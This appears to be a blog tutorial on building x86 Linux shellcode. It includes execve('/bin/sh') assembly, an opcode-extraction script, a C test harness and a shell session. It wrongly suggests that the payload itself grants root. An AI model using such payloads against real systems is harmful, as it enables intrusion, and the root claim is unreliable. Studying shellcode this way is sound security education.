congdong007

Penetration Test、Software Developer

0%

Shellcode Written in Linux

Before you start learning shellcode development, please install NASM on your Linux system. Here’s the shellcode code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section .text

global _start

_start:

jmp short callShellcode

shellcode:

pop esi ; Pop '/bin/sh' from the stack into esi
xor eax, eax ; Set eax to NULL
mov byte [esi + 7], al ; Null-terminate '/bin/sh' using the low byte of eax
lea ebx, [esi] ; Load the address of '/bin/sh' into ebx
mov dword [esi + 8], ebx
lea ecx, [esi + 8] ; Load the address of the argv array into ecx
mov dword [esi + 12], eax
lea edx, [esi + 12] ; Load the address of the NULL terminator into edx
mov al, 0x0b ; Set al to 0x0b, the system call number for execve
int 0x80 ; Trigger the syscall

callShellcode:

call shellcode
db '/bin/sh'

After saving this code to a file named “shellx.asm,” you need to compile it using NASM to obtain the hexadecimal representation of the code. Use the following commands:

1
2
nasm -f elf shellx.asm
ld -o shellx shellx.o -m elf_i386

This will generate a “shellx” file. However, it’s not executable yet. You’ll need to use the “objdump” command to extract the hexadecimal code. You can use a Bash script like this:

1
2
3
4
for i in $(objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$'); do
echo -n "\x$i"
done
echo -e "\n"

To validate your assembly code, you’ll need a C program as follows:

1
2
3
4
5
6
7
char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char **argv) {
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Compile this code with the following command:

1
gcc -g -o shellcodetest shellcodetest.c -m32 -z execstack

This will produce an executable, “shellcodetest.” When you run it, you’ll get a shell with root privileges:

1
2
3
4
5
6
7
8
root@kali:/home/kali/shellCode_train# ./shellcodetest
# ls
exit.asm hello shellcodetest shellx.asm
exit.o hello.asm shellcodetest.c shellx.o
getshellcode.sh hello.o shellx
# whoami
root
#